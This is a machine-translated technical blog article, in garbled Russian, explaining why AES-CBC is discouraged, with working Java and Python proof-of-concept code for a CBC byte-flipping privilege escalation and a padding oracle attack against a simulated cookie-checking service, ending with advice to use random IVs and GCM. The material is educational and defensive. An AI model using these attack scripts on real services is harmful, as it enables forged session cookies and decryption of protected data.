[Криптозоология] Почему не рекомендуется использовать рабочий режим CBC при симметричном шифровании?
[Криптозоология] Почему не рекомендуется использовать рабочий режим CBC при симметричном шифровании?

введение

Эта статья представляет собой подробную версию того, чем я поделился внутри компании. Как следует из названия, я буду использовать примеры текста и кода, чтобы помочь вам полностью понять, почему мы не рекомендуем вам использовать режим шифрования CBC и что произойдет, если вы это сделаете. Используйте его. Вопросы безопасности, даже если вам необходимо его использовать, вам нужно обратить внимание на то, на какие аспекты.

Примечание. В этой статье рассматриваются только вопросы безопасности и не рассматриваются такие факторы, как производительность и совместимость.

Какой режим работы?

Рабочий режим блочного шифрования не имеет ничего общего с конкретным алгоритмом блочного шифрования, поэтому, пока используется режим cbc, проблемы будут возникать не только у AES, DES, 3DES и других алгоритмов.

кAES-128-CBCНапример,Может защитить внутреннюю реализацию алгоритма AES.,Относитесь к алгоритму AES как к черному ящику.,Введите открытый текст и ключ и верните зашифрованный текст.

image-20230518164048044
image-20230518164048044

Поскольку это алгоритм блочного шифрования, длинный открытый текст необходимо группировать в соответствии с размером блока, согласованным с алгоритмом. Каждая группа AES имеет размер 16 байт. Если разные группы используют один и тот же ключ для вычислений, возникнут некоторые проблемы безопасности, поэтому по порядку. Чтобы применить блочные шифры в различных практических приложениях, NIST определил несколько режимов работы. В разных режимах используется разная логика обработки шифрования. К общим режимам работы относятся:

модель

описывать

ЕЦБ (Электронная кодовая книга)

Тот же ключ используется для шифрования групп открытого текста.

CBC (ссылка на группу)

Входными данными для алгоритма шифрования является XOR предыдущей группы зашифрованного текста и текущей группы открытого текста.

CFB (криптографическая обратная связь)

При одновременной обработке нескольких битов предыдущий блок зашифрованного текста используется в качестве входных данных следующего блока алгоритма шифрования, а псевдослучайное число подвергается операции XOR с открытым текстом или используется в качестве зашифрованного текста следующего блока.

OFB (выходная обратная связь)

Подобно CFB, только вход алгоритма шифрования является выходом последнего шифрования, и используется вся группа.

CTR (технический счетчик)

Каждый пакет открытого текста подвергается операции XOR с зашифрованным счетчиком. Увеличивать счетчик для каждого последующего пакета

Режим ECB является самым простым. Предположим, что существуют группы открытого текста a, b, c, d. Каждая группа зашифрована с помощью одного и того же ключа k. Зашифрованный текст — A, B, C, D. Окончательный зашифрованный текст соответствует. открытый текст abcd — это ABCD, как показано на рисунке:

image-20230518165951722
image-20230518165951722

Режим ECB очень прост и может быть очень выгоден с точки зрения производительности, поскольку между группами нет корреляции и его можно рассчитывать независимо и параллельно. Однако с точки зрения безопасности этот метод непосредственной группировки зашифрованного текста для сращивания, вероятно, позволит злоумышленнику угадать характеристики открытого текста или заменить и отбросить некоторые блоки зашифрованного текста, чтобы добиться эффекта замены и перехвата открытого текста. рисунок очень понятен:

<img src="https://9eek-1251521991.cos.ap-chengdu.myqcloud.com/article/img/20230302102403.png" alt="image-20230302102403380" style="zoom:67%;" />

image-20230523201623883
image-20230523201623883

Поэтому легко понять, что ЕЦБ не является рекомендуемым режимом работы.

CBC

Используя уроки, извлеченные из ECB, модель CBC (Cipher Block Chaining) предлагает метод XOR группы открытого текста перед группой случайных значений IV и XOR зашифрованного текста этой группы с открытым текстом следующей группы. Этот метод Случайность. зашифрованный текст увеличивается, и проблема ЕЦБ устраняется. Подробный процесс показан на рисунке:

Процесс шифрования🔐

image-20230518185706238
image-20230518185706238

Поясните этот рисунок. Существуют группы открытого текста a, b, c, d. Режим работы cbc имеет порядок выполнения, то есть вторая группа может быть вычислена только после того, как будет вычислена первая группа открытого текста. шифрование a должно быть подвергнуто операции XOR с начальной группой IV. Прямо сейчас a^IV ,Затем используйте ключ K для выполнения стандартного шифрования AES.,E(a^IV,K) Получите группу зашифрованного текста A первой группы. Группа зашифрованного текста A будет участвовать в вычислении второй группы зашифрованного текста. Процесс расчета аналогичен, за исключением того, что IV необходимо заменить на A во второй раз. Цикл продолжается. до тех пор, пока не будет получен окончательный зашифрованный текст ABCDПрямо. сейчасдляCBCмодель。

Процесс расшифровки

Внимательно наблюдайте за процессом шифрования CBC. Вам необходимо использовать случайную группу IV. В стандартном процессе шифрования IV будет объединен в группу зашифрованного текста. Предположим, что есть два человека, A и B. Сторона A дает. фактический зашифрованный текст для стороны B. Это (IV)ABCD. B извлекает IV после получения зашифрованного текста, а затем расшифровывает следующую цифру:

image-20230518190822992
image-20230518190822992

Процесс расшифровки заключается в том, что процесс шифрования меняет направление,Обратите внимание на направление стрелок от abcd до ABCD на двух графиках. Первая группа зашифрованного текста сначала расшифровывается с помощью AES.,Полученное промежуточное значение считаем как M_A,Затем M_A выполняет XOR исходного вектора IV, чтобы получить,Повторите то же действие для второй группы.,Или замените IV на группу зашифрованного текста A.,Наконец, можно получить группу открытого текста abcd.

Что не так с ЦБК

CBC добавляет случайную переменную IV, чтобы добавить случайности к зашифрованному тексту и повысить сложность анализа зашифрованного текста. Безопасно ли это? Ответ, конечно, нет. CBC создала новую проблему: открытый текст можно изменить, изменив зашифрованный текст.

Атака с переворотом байта CBC

Объяснение принципа

Атака с переворотом байта Принцип CBC очень прост, как показано на рисунке:

image-20230518201030532
image-20230518201030532

Атаки часто происходят в процессе расшифровки,Хакеры могут изменять открытый текст, контролируя группировку IV и зашифрованного текста.,На рисунке хакер может изменить исходный открытый текст d, заменив группу D зашифрованного текста на группу E (что может включать проверку заполнения).,Не беспокойтесь об этом здесь),Или, по тому же принципу, хакер может изменить группу открытого текста a, управляя IV.

Приведите пример 🌰

Далее на практическом примере демонстрируется его принцип и вред.

Для обеспечения удобства Объяснение принципа,IV и ключ будут жестко записаны во время шифрования.,Избегайте разных результатов при каждом запуске.

Фальшивый Предположим, существуетwebСервисное приложение,Передняя и задняя части используют файлы cookie для проверки разрешений.,cookie的内容для明文admin:0руководитьAES-128-CBC加密后的密文руководитьbase64кодирование,Число 0 означает, что права пользователя в данный момент не являются правами администратора.,Когда число после admin равно 1,Серверная часть будет думать, что это пользователь-администратор.

Cookie内容для:AAAAAAAAAAAAAAAAAAAAAJyycJTyrCtpsXM3jT1uVKU=

в это время Хакеры могут использовать Атаку, если знают принцип проверки. с переворотом байта начала атаку на этот сервис,Изменить открытый текст cookie, не зная ключа наadmin:1,Конкретный процесс:

AES использует 16B в качестве блока. sizeруководить分块,admin:0существоватьasciiкодирование下对应的二进制仅для7B,Следовательно, во время шифрования исходный открытый текст будет шифроваться до тех пор, пока его значение не станет в точности целым числом, кратным 16B.,Значит нам тоже понадобится наполнение 9B (подробности о наполнении будут рассмотрены ниже),Потому что у CBC также будет IV,Таким образом, окончательный зашифрованный текст — IV+Cipher.,IV16B,cipher16B,Всего 32Б,Здесь потому, что существует только один блок зашифрованного текста.,所к改变IVпринадлежащий7байты, соответствующие простому текстуadmin:0позиция номера,Или 7-й байт зашифрованного текста Прямо Сейчас можно изменять поля цифровой части открытого текста. Путем непрерывных попыток мы сгруппировали исходный зашифрованный текст IV. 00Изменить на01,Прямо сейчас можно успешно перевернуть открытый текст на 1, Прямо сейчасcookie обычный текст становитсяadmin:1, тем самым достигая цели повышения привилегий.

image-20230518203836726
image-20230518203836726

Полный код:

Язык кода:java
копировать
package com.example.springshiroproject;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;

public class MyTest {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        AesCipherService aesCipherService = new AesCipherService();
        // Жестко запрограммированный ключ
        byte[] key = new byte[128/8];
        Arrays.fill(key,(byte) '\0');  // Жестко запрограммированные ключи, неизвестные клиентам и хакерам.
        String plainText = "admin:0";  // Простое текстовое содержимое файлов cookie

        byte[] plainTextBytes = plainText.getBytes();

		// Жестко закодированный IV
        byte[] iv_bytes = new byte[128/8];
        Arrays.fill(iv_bytes, (byte) '\0');
//
//      // Метод шифрования AES-128-cbc для IV можно настроить с помощью вызова отражения (исходный метод является частным).
        Method encryptWithIV =  aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
        encryptWithIV.setAccessible(true);
        ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
        System.out.println("Обычный текст:" + ByteSource.Util.bytes(plainTextBytes).toHex());

		// Нормальная логическая расшифровка
        byte[] cipher = cipherWithIV.getBytes();
        System.out.println("Исходный зашифрованный текст: " + cipherWithIV.toHex());
        System.out.println("Содержимое файла cookie: " + cipherWithIV.toBase64());

        ByteSource decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("Исходный расшифрованный текст:" + new String(decPlain.getBytes()));

		// Атака с переворотом байта
        cipher[6] = (byte)0x01;
        System.out.println("Перевернуть зашифрованный текст: " + ByteSource.Util.bytes(cipher).toHex());
        System.out.println("Перевернуть cookie:"+ ByteSource.Util.bytes(cipher).toBase64());
        decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("Перевернуть расшифрованный текст:" + new String(decPlain.getBytes()));
    }
}

В этом примере речь идет только о ситуации с одним блоком. В реальных сценариях могут быть задействованы несколько блоков, и попытка изменить одну группу зашифрованного текста с помощью нескольких блоков фактически повлияет на две группы открытого текста, требуя постоянного перенаправления в одной и той же позиции. -потребление для выполнения угадывания преобразования предыдущей группировки зашифрованного текста.

image-20230301211038733
image-20230301211038733

Поэтому, чтобы сделать его более удобным для использования, злоумышленник обнаружил, что терминал расшифровки проверит правила заполнения. Если проверка не удалась, будет выдано исключение. Подобно слепому внедрению SQL, оно предоставляет злоумышленнику дополнительную информацию. облегчает эксплуатацию уязвимости.

Тип заливки

Поскольку оно предполагает использование правил наполнения, необходимо ввести основной тип заливки:

Тип заливки

описывать

NoPadding

без дополнения

PKCS#5

Фиксированный размер блока — 8B.

PKCS#7

Размер блока может быть от 1 до 255.

ISO 10126

Последний байт дополняется необходимой длиной, а остальные дополняются случайным образом.

ANSI X9.23

Последний байт заполняется необходимой длиной, а оставшийся байт заполняется нулями.

ZerosPadding

наполнение \x00

Давайте сосредоточимся здесьPKCS#5иPKCS#7, Я обнаружил, что многие статьи, написанные сотрудниками службы безопасности, проблематичны в отношении этих двух типов заполнения модели описывания, например:

image-20230519104840842
image-20230519104840842

На самом деле все равноpkcs#5все ещеpkcs#7 наполнение Все содержимое обязательнонаполнение Количество байтов в этом двоичном числе,pkcs#5соответствует8Bдля标准分块руководитьнаполнение,pkcs#7是可к不固定1~255Еду в Токио,Только в соответствии с RFC-соглашением AES.,размер блока фиксирован на 16B,所ксуществоватьAESпозвони внутрьpkcs#5иpkcs#7Нет никакой разницы。

Приведите пример,Фальшивыйнравиться存существовать明文helloworld,Обычный текст на английском языке,Согласно ascii, каждый символ занимает 1B.,明文长度для10B,Все еще нужнонаполнение6B ,наполнение内容для\x06,最终分块内容для:helloworld\x06\x06\x06\x06\x06\x06.

При расшифровке сервер проверит содержимое следующим образом:

  1. Получите расшифрованные данные в виде открытого текста.
  2. Получить открытый текст Значение последнего байта данных.
  3. 检查最后一байты的值是否существовать有效наполнениев пределах досягаемости。
    • Если значение последнего байта меньше или равно длине данных открытого текста,Тогда это считается наполнением данных.
    • Если значение последнего байта больше длины данных открытого текста, определяется отсутствие заполнения данных.
    • Если значение последнего байта выходит за пределы диапазона заполнения (больше размера блока),Данные могли быть подделаны или иметь другие аномалии.
  4. Если есть наполнение,Тогда по количеству байт наполнения,Перехват текстовых данных,Удалить часть наполнения.

Padding oracle attack

Атака оракула заполнения использует метод атаки, заключающийся в подделке последнего байта заполнения группы зашифрованного текста, чтобы заставить сервер сообщить об ошибке, а затем предсказать открытый текст или сгенерировать новый зашифрованный текст.,Итак, оракул здесь означает предсказание.,Нам знакома не Oracle, материнская компания Java.

Пример 🌰

Предположим, мы получили строку зашифрованного текста, зашифрованного с помощью AES-128-CBC. Содержимое зашифрованного текста:

000000000000000000000000000000009cb27094f2ac2b69b173378d3d6e54a5

Первые 16B из всех нулей — это жестко закодированный IV, а остальная часть — настоящий зашифрованный текст. Обзор процесса расшифровки

image-20230519161123394
image-20230519161123394
image-20230519160953949
image-20230519160953949
  1. Шифр зашифрованного текста сначала сгенерирует промежуточное значение M под действием ключа K.
  2. Промежуточное значение M затем подвергается операции XOR с исходным вектором IV для получения открытого текста.

Содержимое таблицы, отмеченное желтым цветом, контролируется злоумышленником. Если вы переворачиваете только байты, вы можете изменить только содержимое открытого текста, но мы не можем точно знать конкретное содержимое открытого текста, поэтому необходимо заполнить его. oracle Только что появился,Обычная бизнес-логика будет оценивать содержимое простого текста при расшифровке.,Если расшифрованный контент верен, 200 может быть возвращено.,Расшифровать Ошибка обычного текст возвращает 403,Однако если программе зашифрованного текста не удается проверить пароль, это может вызвать ошибку программы и выдать ошибку 500.

Злоумышленник будет использовать ошибку 500 для прохода и определения правильности промежуточного значения предположения.

image-20230519162633255
image-20230519162633255

Угадав промежуточное значение и выполнив XOR с известным IV, вы можете получить открытый текст.

Процесс атаки

Угадай среднее значение

Давайте воспользуемся приведенным сейчас примером для тестирования.,Пытаемся угадать последнее среднее значение,Выполнять перебор проверки на IV с 00-ff до тех пор, пока программа не сообщит об ошибке,получатьiv[15]для0x08 Время не сообщалосьнаполнениеошибка,证明这个час候篡改后的明文最后一位应该для0x01,XOR исходного текста и IV,可得中间值для0x08^0x01 = 0x09 , красная часть в таблице:

image-20230519172221014
image-20230519172221014

Перейти ко второму шагу,Угадай предпоследнюю цифру,Угадай предпоследнюю цифру需要满足篡改后的明文后两位都для0x02,Поскольку последняя цифра является средним значением, она была рассчитана как 0x09, поэтому,последнийivдля:0x09^0x02 = 0x0B,циклivпредпоследний от00~ff.получатьIV值для0x0Bчас,Программа не сообщает об ошибке,所к中间值для0x02^0x0B=0x09

image-20230519174843806
image-20230519174843806

Повторяйте этот процесс до тех пор, пока не будут угаданы все промежуточные значения.

image-20230523193203108
image-20230523193203108
Получить открытый текст

в это время,Мы можем сделать это, не зная ключа,根据中间值иIVвывести простой текстM^IV=P(Mдля中间值,IV — исходный вектор, P — открытый текст).

Поскольку мы жестко запрограммировали iv на 00, открытый текст представляет собой значение ASCII, соответствующее M, то есть:

admin:0\09\09\09\09\09\09\09\09\09

09 за наполнение контента,字节去掉получать最终明文:admin:0

Соответствующий код (Java):

Язык кода:java
копировать
package com.example.springshiroproject;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.util.ByteSource;

import javax.crypto.BadPaddingException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;

public class MyTest {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        int blockSize = 16;
        AesCipherService aesCipherService = new AesCipherService();
        // Жестко запрограммированный ключ
        byte[] key = new byte[128/8];
        Arrays.fill(key,(byte) '\0');  // Жестко запрограммированные ключи, неизвестные клиентам и хакерам.
        String plainText = "admin:0";  // Простое текстовое содержимое файлов cookie

        byte[] plainTextBytes = plainText.getBytes();


        byte[] iv_bytes = new byte[128/8];
        Arrays.fill(iv_bytes, (byte) '\0');
//
//      // Метод шифрования AES-128-cbc, который позволяет настроить IV посредством вызова отражения.
        Method encryptWithIV =  aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
        encryptWithIV.setAccessible(true);
        ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
        System.out.println("Обычный текст:" + ByteSource.Util.bytes(plainTextBytes).toHex());


        byte[] cipher = cipherWithIV.getBytes();
//        System.out.println(cipher.length);
        System.arraycopy(cipher,0,iv_bytes,0,blockSize-1);
        System.out.println("Исходный зашифрованный текст: " + cipherWithIV.toHex());
        System.out.println("Содержимое файла cookie: " + cipherWithIV.toBase64());

        ByteSource decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("Исходный расшифрованный текст:" + new String(decPlain.getBytes()));
        System.out.println("Начните пробовать");
        decPlain = null;


        byte[] middleValue = new byte[blockSize];
        Arrays.fill(middleValue,(byte) 0x00);
        boolean flipFlag = false;
        for (int j=0; j<blockSize; j++){
            byte tmp;
            System.out.println("start "+ (j+1));
            if (j >0){
                for (int p=middleValue.length-1;p>middleValue.length-1-j;p--){
                    tmp = (byte) (middleValue[p]^(j+1));
                    cipher[p] = tmp;
//                    System.out.println("tmp в это время: " + tmp);
                }
                System.out.println("шифрование на основе известного промежуточного значения заполненияiv: " + ByteSource.Util.bytes(cipher).toHex());
            }else {
                System.out.println("исходныйнаполнение");            }
            tmp  = cipher[blockSize-j-1];
            for (int i=0x00; i<=0xff; i++){
                if (tmp == i){
//                    continue;
                    System.out.println("Пропустить то же, что и исходное значение");
                    if (!flipFlag){
                        flipFlag = true;
                        continue;
                    }
                }

                cipher[blockSize-j-1] = (byte) i;
                try{
                    decPlain = aesCipherService.decrypt(cipher, key);
                    tmp = (byte) (i ^ (j+1));
                    middleValue[blockSize-j-1] =tmp; //Сохраняем промежуточное значение M = IV ^ I
                    System.out.println("Угадал! Последний" +(j+1) +"IV:" + i);
                    System.out.println("Предпоследний" +(j+1) +"М:" + tmp);
                    break;
                }catch (CryptoException e){
                    if (i==0xff){
                        System.out.print("Не закончилось");
                        System.exit(0);
                    }

                }

            }
        }
        System.out.println("Промежуточное значение предположения:" + ByteSource.Util.bytes(middleValue).toHex());
        byte[] attackPlain = new byte[blockSize];
        for (int i=0;i<attackPlain.length;i++){
            attackPlain[i] =(byte)( iv_bytes[i] ^middleValue[i]);
        }

        System.out.println("Окончательный зашифрованный текст:" + ByteSource.Util.bytes(cipher).toHex());
        System.out.println("Окончательный простой текст:" + ByteSource.Util.bytes(attackPlain).toHex());
        System.out.println("Попытка завершена");

        System.out.println("Перевернуть расшифрованный текст:" + new String(attackPlain));


    }
}

Результаты запуска:

image-20230523193739360
image-20230523193739360

Кроме того, я также написал соответствующую версию Python. Если вы создадите свое колесо и обнаружите ошибки, вы можете обратиться к моему коду:

Среда моделирования уязвимостей:

Язык кода:python
кодКоличество запусков:0
копировать
from aes_manual import aes_manual

class PaddingOracleEnv:

    def __init__(self):
        self.key = aes_manual.get_key(16)

    def run(self):
        cipher = aes_manual.encrypt(self.key, "hello".encode())


    def login(self,cookie):
        try:
            text = aes_manual.decrypt(self.key, cookie)
            if text == b'hello':
                return 200  # абсолютно правильно
            else:
                return 403  # Ошибка обычного текста
        except RuntimeError as e:
            return 500  # наполнение Проверка не удалась


padding_oracle_env = PaddingOracleEnv()

if __name__ == '__main__':
    res = padding_oracle_env.login(b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec")
    print(res)

Скрипт атаки:

Язык кода:python
кодКоличество запусков:0
копировать
import sys

from aes_manual import aes_manual
from padding_oracle_env import padding_oracle_env
from loguru import logger

class PaddingOracleAttack:

    def __init__(self):
        logger.remove()
        logger.add(sys.stderr,level="DEBUG")
        self.cipher_text_raw = b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec"
        self.iv = aes_manual.get_iv(self.cipher_text_raw)
        self.cipher_content = aes_manual.get_cipher_content(self.cipher_text_raw)

    def single_byte_xor(self, A: bytes, B: bytes):
        """Однобайтовая операция XOR"""
        assert len(A) == len(B) == 1
        return ord(A) ^ ord(B)

    def guess_last(self):
        """
        padding oracle
        :return:
        """
        c_l = len(self.cipher_content)
        M = bytearray()
        for j in range(1, c_l+1):  # Медианные цифры
            for i in range(1, 256):  # Фальшивый iv взрывные работы
                f_iv = b'\x00' * (c_l-j) + bytes([i])
                for m in M[::-1]:
                    f_iv += bytes([m ^ j])  # Используйте m, известное на предыдущем шаге, чтобы позже вычислить iv неизвестного положения.
                res = padding_oracle_env.login(f_iv + self.cipher_content)
                if res == 403:  # наполнениеправильная ситуация
                    M.append(i ^ j)
                    logger.info(f"{j} - {bytes([i])} - {i}")
                    break
        # logger.info(M)
        M = M[::-1]  # reverse
        logger.info(f"M({len(M)}):{M}")
        p = bytearray()
        for m_i, m in enumerate(M):
            p.append(m ^ self.iv[m_i])
        logger.info(f"Треснутый открытый текст ({len(p)}):{p}")

    def run(self):
        self.guess_last()

if __name__ == '__main__':

    attack = PaddingOracleAttack()
    attack.run()

На самом деле, нет необходимости изобретать велосипед.,Так же есть много готовых инструментов,нравиться:https://github.com/KishanBagaria/padding-oracle-attacker

img
img

Подвести итог

Чтобы ответить на главный вопрос, именно из-за существования методов атаки, таких как переворот байтов CBC и атака оракула заполнения, рабочий режим CBC не рекомендуется в сценариях, требующих высокой конфиденциальности передачи.

А еще я есть в Google、поиск в байдушифрование AES CBC в Python关键词час出现了很多误导性的文章:

image-20230523195957179
image-20230523195957179
image-20230523200030081
image-20230523200030081

И статья входит в тройку лучших,Пример кода внутри фактически использует ключ шифрования и дешифрования непосредственно в качестве IV.,Это сопряжено со следующими рисками:

  1. Вы должны знать, что IV обычно встраивается в заголовок зашифрованного текста и передается по сети.,Таким образом, злоумышленнику не нужно выполнять сложные операции, такие как переворот байтов.,Непосредственно удалить расшифровку IV Прямо сейчас можно
  2. Прямо сейчас, чтобы IV не передавался как часть зашифрованного текста.,Шифрование с тем же IV приводит к тому, что один и тот же блок открытого текста дает тот же блок зашифрованного текста. Злоумышленник может получить некоторую информацию об открытом тексте, наблюдая за зашифрованным текстом.,и даже другие формы атак,Например, выбор атаки открытым текстом.

Для обеспечения безопасности необходимо генерировать случайный и уникальный IV и хранить его вместе с зашифрованным текстом. Обычной практикой является создание нового IV для каждого шифрования и передача или сохранение его вместе как дополнительные данные зашифрованного текста, чтобы его можно было правильно использовать при расшифровке. Это позволяет избежать атак на предсказуемость и повышает безопасность режима AES CBC.

Более рекомендуется использовать GCM в качестве рабочего режима шифрования и дешифрования, потому что:

  1. Целостность данных и аутентификация с шифрованием: режим GCM обеспечивает генерацию тегов аутентификации (тегов аутентификации), которые используются для проверки целостности зашифрованного текста и источника зашифрованного текста аутентификации. Это может помочь обнаружить любое вмешательство или подделку зашифрованного текста и обеспечить более надежную защиту целостности данных.
  2. Случайность и непредсказуемость: режим GCM использует счетчик и ключ для генерации потока ключей, который подвергается операции XOR с открытым текстом для получения зашифрованного текста. Эта операция XOR обеспечивает более высокую случайность и непредсказуемость, повышая безопасность зашифрованного текста.
  3. Параллельное шифрование и высокая производительность: режим GCM поддерживает параллельное шифрование, которое может обрабатывать несколько блоков данных одновременно, повышая скорость и эффективность шифрования и дешифрования. Это очень полезно при работе с крупномасштабными данными.
  4. Устойчивость к атакам наполнения: по сравнению с некоторыми моделями блочных шифров,Модель GCM не требует операции заполнения.,Следовательно, он не подвержен связанным уязвимостям, таким как атаки наполнение.
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose